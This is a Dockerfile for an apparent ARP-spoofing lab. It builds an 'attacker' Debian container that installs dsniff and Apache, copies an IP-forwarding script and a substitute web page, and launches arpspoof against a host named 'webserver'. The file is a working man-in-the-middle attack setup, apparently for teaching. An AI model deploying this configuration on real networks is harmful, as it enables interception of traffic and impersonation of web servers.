arp-spoofing/apache/attacker/dockerfile

15 lines
No EOL
295 B
Text

FROM debian
COPY ./ip_forward /usr/local/bin/ip_forward
COPY ./index1.html /var/www/html/
RUN apt-get update && apt-get install -y dsniff net-tools apache2 \
&& rm -rf /var/lib/apt/lists/* \
&& apache2ctl start
CMD ["arpspoof", "-i", "eth0", "-t", "webserver", "-r", "webserver"]